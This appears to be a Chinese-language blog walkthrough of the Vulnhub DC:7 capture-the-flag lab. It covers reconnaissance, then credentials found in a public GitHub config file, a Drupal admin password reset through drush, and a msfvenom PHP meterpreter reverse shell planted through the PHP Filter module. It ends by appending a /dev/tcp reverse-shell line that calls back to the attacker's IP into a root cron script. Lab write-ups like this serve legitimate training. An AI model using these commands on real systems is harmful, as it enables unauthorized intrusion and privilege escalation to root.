MENU

DC:7-Vulnhub Walkthrough

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

靶机地址

工具及漏洞信息

  • netdiscover
  • nmap
  • dirb
  • dirsearch
  • gobuster
  • droopescan
  • 计划任务提权

部分工具的用法和详细说明请参考此系列的第一篇文章:bossplayersCTF:1-Vulnhub Walkthrough

0x00 信息收集

扫描靶机信息

netdiscover-r参数扫描192.168.1.0/16结果如下:

nmap扫描主机及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.8

robots.txt没有什么可利用的,主页最下面写着Powered by Drupal

扫描路径

dirb扫描路径:

dirb http://192.168.1.8

dirsearch

python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

gobuster

gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

0x01漏洞扫描

一圈目录下来,都没什么特别的,user/login界面也没有弱密码:

而且后台限制了5 次登录失败会被暂时锁定,只能从网站框架和模板入手了

Github上针对Drupal的漏扫工具有droopescandrupwn

但是后者不好用就不做介绍了

git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.9/ -t 32

而漏洞库不包含扫描出来的版本:

cms本身漏洞无法利用,那我们就解决作者本身吧::quyin:OK::

0x01 获得普通账号

主页的底部除了Powered by Drupal

还有作者的名字@DC7USER,搜了下发现是twitter账号:

并且在首页放着一个大大的github链接,作者只有一个仓库staffdb

config.php里明晃晃地写着账号密码和数据库名字:

$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";

于是用ssh登录进去:ssh dc7user@192.168.1.9,获得了dc7usershell:

0x02 获取shell

获取到shell第一步当然是查看当前目录有什么文件:

mbox很显眼,查看一下:

邮件内容应该是备份的日志,调用的脚本是/opt/scripts/backups.sh

貌似还是root权限执行的。如果当前用户有脚本的写入权限,那么应该就可以提权了。

查了一下www-dataroot用户才能修改,内容是用来管理Drupal站点的shell

其中有一句话引起了我的注意:

drush sql-dump --result-file=/home/dc7user/backups/website.sql

查了一下,这个drush命令是可以用来修改密码的:

drush user-password USERNAME --password="SOMEPASSWORD"

于是尝试修改admin的密码,需要到某些指定目录例如/var/www/html才能修改:

获得管理员账户之后我们登录网站来反弹shell

出于安全考虑,PHP Filter已经从Drupal核心中移除

后续作为一个module存在,可以通过手动下载安装:

打开网站的模块安装界面/admin/modules:

搜索模块php,选中我们刚才安装的PHP ,点击install启动模块:

模块安装好后就可以开始利用漏洞了,在Content中新建一个Basic page

然后在Title输入页面的名称webshell,在Body中放入反弹shellPHP代码

我这里使用msfvenom生成的php shell:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f raw

Text format的位置选择PHP code:

弄完之后,先别操作,在kali上监听端口

msfconsole
handler -H 192.168.1.2 -P 3333 -p php/meterpreter/reverse_tcp

最后点击Preview按钮,第一次可能不会成功,退出Preview再来一次即可:

获取到的shellwww-root用户的:

0x03 backups.sh提权root

之前邮件里的备份计划任务使用的脚本/opt/scripts/backups.sh只有rootwww-data用户可以修改。

所以接下来就是将反弹shell的代码附加到backups.sh脚本中

(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)

然后在kali中监听相应端口,等待计划任务的执行:

使用shell进入命令行
使用/bin/bash:python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt/scripts/
在另外的终端监听指定端口:nc -lvp 3456
将反弹shell代码写进backups.sh:echo "0<&198-;exec 198<>/dev/tcp/192.168.1.2/3456;sh <&198 >&198 2>&198" >> backups.sh

等待靶机执行定时任务就可以获得rootshell:

成功获得flag:

本文完。

参考文章:

最后编辑于: 2020 年 02 月 09 日
添加新评论

已有 2 条评论
  1. Gu Gu

    师傅,交个朋友一起学习呀

    1. @Guhttps://t.me/soapffz